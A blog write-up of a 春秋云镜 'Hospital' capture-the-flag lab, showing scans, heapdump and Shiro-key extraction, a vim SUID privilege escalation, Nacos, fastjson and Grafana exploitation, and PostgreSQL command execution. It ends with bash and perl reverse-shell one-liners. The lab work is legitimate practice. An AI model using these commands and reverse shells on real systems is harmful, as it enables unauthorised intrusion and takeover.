Hospital-春秋云镜

39.99.237.28

外网

fscan

fscan -h 39.99.237.28

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
39.99.237.28:22 open
39.99.237.28:8080 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.237.28:8080  code:302 len:0      title:None 跳转url: http://39.99.237.28:8080/login;jsessionid=4A92A3552813A045EA693D82435AC673
[*] WebTitle http://39.99.237.28:8080/login;jsessionid=4A92A3552813A045EA693D82435AC673 code:200 len:2005   title:医疗管理后台
[+] PocScan http://39.99.237.28:8080 poc-yaml-spring-actuator-heapdump-file
已完成 1/2 [-] ssh 39.99.237.28:22 root root#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/2 [-] ssh 39.99.237.28:22 root 8888888 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

下载heapdump文件

http://39.99.237.28:8080/actuator/heapdump

分析

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
SpringDataSourceProperties
-------------
not found!

===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!

===========================================
MongoClient
-------------
not found!

===========================================
AliDruidDataSourceWrapper
-------------
not found!

===========================================
HikariDataSource
-------------
not found!

===========================================
RedisStandaloneConfiguration
-------------
not found!

===========================================
JedisClient
-------------
not found!

===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
server.port = 8080
spring.thymeleaf.prefix = classpath:/templates/

===========================================
MutablePropertySources
-------------
awt.toolkit = sun.awt.X11.XToolkit
sun.boot.class.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes
java.protocol.handler.pkgs = org.springframework.boot.loader
sun.management.compiler = HotSpot 64-Bit Tiered Compilers
sun.cpu.isalist =
sun.jnu.encoding = UTF-8
java.runtime.version = 1.8.0_392-8u392-ga-1~20.04-b08
java.class.path = /app/login-1.0-SNAPSHOT.jar
path.separator = :
java.vm.vendor = Private Build
os.version = 5.4.0-164-generic
java.endorsed.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed
java.runtime.name = OpenJDK Runtime Environment
file.encoding = UTF-8
catalina.useNaming = false
spring.beaninfo.ignore = true
java.vm.specification.version = 1.8
os.name = Linux
java.vm.name = OpenJDK 64-Bit Server VM
local.server.port = null
user.country = US
java.vendor.url.bug = http://bugreport.sun.com/bugreport/
sun.java.command = /app/login-1.0-SNAPSHOT.jar
java.io.tmpdir = /tmp
catalina.home = /tmp/tomcat.4096856495843273829.8080
java.version = 1.8.0_392
user.home = /home/app
user.language = en
PID = 756
java.awt.printerjob = sun.print.PSPrinterJob
file.separator = /
catalina.base = /tmp/tomcat.4096856495843273829.8080
java.vm.info = mixed mode
java.specification.name = Java Platform API Specification
java.vm.specification.vendor = Oracle Corporation
java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment
java.awt.headless = true
sun.io.unicode.encoding = UnicodeLittle
java.ext.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext

===========================================
MapPropertySources
-------------
local.server.port = null

===========================================
ConsulPropertySources
-------------
not found!

===========================================
JavaProperties
-------------
java.util.logging.FileHandler.pattern = %h/java%u.log
awt.toolkit = sun.awt.X11.XToolkit
sun.cpu.isalist =
sun.jnu.encoding = UTF-8
sun.arch.data.model = 64
catalina.useNaming = false
security.overridePropertiesFile = true
security.provider.7 = com.sun.security.sasl.Provider
sun.boot.library.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64
sun.java.command = /app/login-1.0-SNAPSHOT.jar
security.provider.9 = sun.security.smartcardio.SunPCSC
java.specification.vendor = Oracle Corporation
security.provider.1 = sun.security.provider.Sun
security.provider.2 = sun.security.rsa.SunRsaSign
security.provider.3 = sun.security.ec.SunEC
networkaddress.cache.negative.ttl = 10
security.provider.4 = com.sun.net.ssl.internal.ssl.Provider
security.provider.5 = com.sun.crypto.provider.SunJCE
security.provider.6 = sun.security.jgss.SunProvider
file.separator = /
org.springframework.web.servlet.HandlerExceptionResolver = org.springframework.web.servlet.mvc.method.annotation.ExceptionHandlerExceptionResolver,org.springframework.web.servlet.mvc.annotation.ResponseStatusExceptionResolver,org.springframework.web.servlet.mvc.support.DefaultHandlerExceptionResolver
java.specification.name = Java Platform API Specification
java.vm.specification.vendor = Oracle Corporation
org.springframework.web.servlet.HandlerMapping = org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping,org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping,org.springframework.web.servlet.function.support.RouterFunctionMapping
org.springframework.web.servlet.HandlerAdapter = org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter,org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter,org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter,org.springframework.web.servlet.function.support.HandlerFunctionAdapter
org.springframework.web.servlet.FlashMapManager = org.springframework.web.servlet.support.SessionFlashMapManager
package.definition = sun.,com.sun.xml.internal.,com.sun.imageio.,com.sun.istack.internal.,com.sun.jmx.,com.sun.media.sound.,com.sun.naming.internal.,com.sun.proxy.,com.sun.corba.se.,com.sun.org.apache.bcel.internal.,com.sun.org.apache.regexp.internal.,com.sun.org.apache.xerces.internal.,com.sun.org.apache.xpath.internal.,com.sun.org.apache.xalan.internal.extensions.,com.sun.org.apache.xalan.internal.lib.,com.sun.org.apache.xalan.internal.res.,com.sun.org.apache.xalan.internal.templates.,com.sun.org.apache.xalan.internal.utils.,com.sun.org.apache.xalan.internal.xslt.,com.sun.org.apache.xalan.internal.xsltc.cmdline.,com.sun.org.apache.xalan.internal.xsltc.compiler.,com.sun.org.apache.xalan.internal.xsltc.trax.,com.sun.org.apache.xalan.internal.xsltc.util.,com.sun.org.apache.xml.internal.res.,com.sun.org.apache.xml.internal.resolver.helpers.,com.sun.org.apache.xml.internal.resolver.readers.,com.sun.org.apache.xml.internal.security.,com.sun.org.apache.xml.internal.serializer.utils.,com.sun.org.apache.xml.internal.utils.,com.sun.org.glassfish.,com.oracle.xmlns.internal.,com.oracle.webservices.internal.,oracle.jrockit.jfr.,org.jcp.xml.dsig.internal.,jdk.internal.,jdk.nashorn.internal.,jdk.nashorn.tools.,jdk.xml.internal.,com.sun.activation.registries.,jdk.jfr.events.,jdk.jfr.internal.,jdk.management.jfr.internal.
sun.boot.class.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes
java.protocol.handler.pkgs = org.springframework.boot.loader
sun.management.compiler = HotSpot 64-Bit Tiered Compilers
org.springframework.web.servlet.ThemeResolver = org.springframework.web.servlet.theme.FixedThemeResolver
java.runtime.version = 1.8.0_392-8u392-ga-1~20.04-b08
user.name = app
policy.url.1 = file:${java.home}/lib/security/java.policy
securerandom.source = file:/dev/random
policy.url.2 = file:${user.home}/.java.policy
jdk.tls.disabledAlgorithms = SSLv3, TLSv1, TLSv1.1, RC4, DES, MD5withRSA, DH keySize < 1024, EC keySize < 224, 3DES_EDE_CBC, anon, NULL, include jdk.disabled.namedCurves
policy.ignoreIdentityScope = false
file.encoding = UTF-8
java.util.logging.ConsoleHandler.formatter = java.util.logging.SimpleFormatter
jdk.sasl.disabledMechanisms =
java.io.tmpdir = /tmp
org.springframework.web.servlet.ViewResolver = org.springframework.web.servlet.view.InternalResourceViewResolver
java.version = 1.8.0_392
jdk.tls.keyLimits = AES/GCM/NoPadding KeyUpdate 2^37
PID = 756
java.vm.specification.name = Java Virtual Machine Specification
java.awt.printerjob = sun.print.PSPrinterJob
jdk.xml.dsig.secureValidationPolicy = disallowAlg  http://www.w3.org/TR/1999/REC-xslt-19991116 ,disallowAlg  http://www.w3.org/2001/04/xmldsig-more#rsa-md5 ,disallowAlg  http://www.w3.org/2001/04/xmldsig-more#hmac-md5 ,disallowAlg  http://www.w3.org/2001/04/xmldsig-more#md5 ,maxTransforms 5,maxReferences 30,disallowReferenceUriSchemes file http https,minKeySize RSA 1024,minKeySize DSA 1024,minKeySize EC 224,noDuplicateIds,noRetrievalMethodLoops
java.library.path = /usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
java.vendor = Private Build
handlers = java.util.logging.ConsoleHandler
java.specification.maintenance.version = 5
sun.io.unicode.encoding = UnicodeLittle
krb5.kdc.bad.policy = tryLast
java.class.path = /app/login-1.0-SNAPSHOT.jar
jdk.security.legacyAlgorithms = SHA1, RSA keySize < 2048, DSA keySize < 2048
java.vm.vendor = Private Build
jdk.disabled.namedCurves = secp112r1, secp112r2, secp128r1, secp128r2, secp160k1, secp160r1, secp160r2, secp192k1, secp192r1, secp224k1, secp224r1, secp256k1, sect113r1, sect113r2, sect131r1, sect131r2, sect163k1, sect163r1, sect163r2, sect193r1, sect193r2, sect233k1, sect233r1, sect239k1, sect283k1, sect283r1, sect409k1, sect409r1, sect571k1, sect571r1, X9.62 c2tnb191v1, X9.62 c2tnb191v2, X9.62 c2tnb191v3, X9.62 c2tnb239v1, X9.62 c2tnb239v2, X9.62 c2tnb239v3, X9.62 c2tnb359v1, X9.62 c2tnb431r1, X9.62 prime192v2, X9.62 prime192v3, X9.62 prime239v1, X9.62 prime239v2, X9.62 prime239v3, brainpoolP256r1, brainpoolP320r1, brainpoolP384r1, brainpoolP512r1
crypto.policy = unlimited
jceks.key.serialFilter = java.lang.Enum;java.security.KeyRep;java.security.KeyRep$Type;javax.crypto.spec.SecretKeySpec;!*
login.configuration.provider = sun.security.provider.ConfigFile
user.timezone =
java.vm.specification.version = 1.8
os.name = Linux
user.country = US
jdk.security.caDistrustPolicies = SYMANTEC_TLS
sun.cpu.endian = little
user.home = /home/app
user.language = en
en = UTF-8
jdk.tls.alpnCharset = ISO_8859_1
ssl.KeyManagerFactory.algorithm = SunX509
.level = INFO
java.awt.graphicsenv = sun.awt.X11GraphicsEnvironment
java.awt.headless = true
com.xyz.foo.level = SEVERE
policy.provider = sun.security.provider.PolicyFile
path.separator = :
fr = UTF-8
os.version = 5.4.0-164-generic
java.endorsed.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed
java.runtime.name = OpenJDK Runtime Environment
keystore.type.compat = true
org.springframework.web.servlet.RequestToViewNameTranslator = org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator
spring.beaninfo.ignore = true
java.vm.name = OpenJDK 64-Bit Server VM
java.vendor.url.bug = http://bugreport.sun.com/bugreport/
java.util.logging.FileHandler.formatter = java.util.logging.XMLFormatter
java.util.logging.FileHandler.count = 1
catalina.home = /tmp/tomcat.4096856495843273829.8080
sun.cds.enableSharedLookupCache = false
sun.security.krb5.maxReferrals = 5
catalina.base = /tmp/tomcat.4096856495843273829.8080
java.util.logging.FileHandler.limit = 50000
java.vm.info = mixed mode, sharing
keystore.type = jks
java.ext.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext
policy.expandProperties = true
securerandom.strongAlgorithms = NativePRNGBlocking:SUN

===========================================
ProcessEnvironment
-------------
not found!

===========================================
OSS
-------------
not found!

===========================================
UserPassSearcher
-------------
org.apache.shiro.web.filter.authc.FormAuthenticationFilter:
[failureKeyAttribute = shiroLoginFailure, loginUrl = /login, successUrl = /, usernameParam = username, passwordParam = password]

org.apache.catalina.startup.Tomcat:
[hostname = localhost]


===========================================
CookieThief
-------------
not found!

===========================================
AuthThief
-------------
not found!

===========================================

shiro密钥

CookieRememberMeManager(ShiroKey)
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

工具利用

蚁剑连接

权限太低了

命令执行不了上线vshell了

SUID

app@web01:/tmp$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/vim.basic
/usr/bin/su
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/at
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/stapbpf
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device

提权

vim.basic -c ':python3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'

非预期直接用copy fail

查看flag

flag01: flag{d6e28233-e540-4d2e-89c5-84049e7a680c}

信息收集

ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.30.12.5  netmask 255.255.0.0  broadcast 172.30.255.255
        inet6 fe80::216:3eff:fe34:2562  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:34:25:62  txqueuelen 1000  (Ethernet)
        RX packets 91461  bytes 125779601 (125.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 26546  bytes 10368764 (10.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 884  bytes 80563 (80.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 884  bytes 80563 (80.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

开socks，传fscan扫一下

./fscan -h 172.30.12.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.30.12.5     is alive
(icmp) Target 172.30.12.6     is alive
(icmp) Target 172.30.12.236   is alive
[*] Icmp alive hosts len is: 3
172.30.12.6:8848 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.236:8009 open
172.30.12.5:22 open
[*] alive ports len is: 9
start vulscan
[*] NetInfo 
[*]172.30.12.6
   [->]Server02
   [->]172.30.12.6
[*] NetBios 172.30.12.6     WORKGROUP\SERVER02            
[*] WebTitle http://172.30.12.5:8080   code:302 len:0      title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=45FAB1CD132CD44661F1B58573187591
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle http://172.30.12.6:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=45FAB1CD132CD44661F1B58573187591 code:200 len:2005   title:医疗管理后台
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file

总览

目标IP	开放端口	服务/组件	Web标题	漏洞风险
172.30.12.5	22 (SSH) 8080 (HTTP)	• SSH服务 • Spring Boot应用	• 医疗管理后台 • 跳转至 `/login`	🔴 已确认存在 `spring-actuator-heapdump` 漏洞
172.30.12.6	135,139,445 (SMB) 8848 (Nacos)	• Windows主机 (SERVER02) • Alibaba Nacos 服务	• Nacos 404页面	🔴 已确认存在 • Nacos 认证绕过 (CVE-2021-29441) • Nacos 未授权访问
172.30.12.236	22 (SSH) 8080 (HTTP) 8009 (AJP)	• SSH服务 • Web应用 • Apache Tomcat AJP	• 医院后台管理平台	🟡 待深入检测 • AJP协议可能存在漏洞 • 需进一步扫描

172.30.12.6

nacos综合漏洞利用工具，记得配置代理

认证绕过

注入

哥斯拉连接

进去之后flag在C:/Users/Administrator/flag/

flag02: flag{4cae908f-84bd-48a2-b33d-08fb48a6611f}

172.30.12.236

8080

抓包发现响应包是json数据

可以猜测是fastjson，直接用bp自带的插件尝试

抓登录的包

结果

哥斯拉连接

/root/flag/

flag03: flag{2665f8b1-d169-46a6-bc66-defe246d1f61}

双网卡

172.30.54.179

传个fscan扫一下，哥斯拉传不上去，web靶机开http之后下载

start infoscan
(icmp) Target 172.30.54.179   is alive
(icmp) Target 172.30.54.12    is alive
[*] Icmp alive hosts len is: 2
172.30.54.179:22 open
172.30.54.179:8009 open
172.30.54.179:8080 open
172.30.54.12:5432 open
172.30.54.12:22 open
172.30.54.12:3000 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://172.30.54.12:3000  code:302 len:29     title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909  title:Grafana

这里后续因为要弹shell，所以想着写公钥进去之后ssh登录，但是写进去之后死活登不上一直认证失败

mkdir -p /root/.ssh
chmod 700 /root/.ssh

echo "公钥" >> /root/.ssh/authorized_keys

proxychains -q ssh -i /root/.ssh/id_rsa root@172.22.10.17

172.30.54.12

http://172.30.54.12:3000

弱口令admin/admin之后改密码

有专门的工具A-D-Team/grafanaExp: A exploit tool for Grafana Unauthorized arbitrary file reading vulnerability (CVE-2021-43798), it can burst plugins / extract secret_key / decrypt data_source info automatic.

proxychains -q ./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000

利用CVE-2021-43798得到配置文件也就是账密

[SW2YcwTIb9zpOOhoPsMm]
postgres / Postgres@123

之后可以用navicta或者DBeaver连接

下面是wp的操作说明

# 修改root用户密码
ALTER USER root WITH PASSWORD '123456';
# 查看数据库版本
select version();
# PostgreSQL 8.1 及之前版本执行系统命令可以直接使用 Linux 中的 libc.so.6 文件，创建命令执行函数
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
# 使用system函数执行命令（创建函数成功后，执行命令时当返回值为 0 表示执行成功，其它值则是执行失败）
select system('curl 172.30.54.179');
select system('sh -i >& /dev/tcp/172.30.54.179/4444 0>&1');
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

反弹到双网卡那台主机

后续排查了原因是说公钥要去掉最后的用户名@主机名再写入

这个就是学会了几个新的综合利用工具的使用

posted @ 2026-08-18 17:53 Anaxa 阅读(15) 评论(0) 收藏举报

刷新页面返回顶部

一个菜鸡的博客

Hospital-春秋云镜

外网

信息收集

172.30.12.6

172.30.12.236

172.30.54.12

公告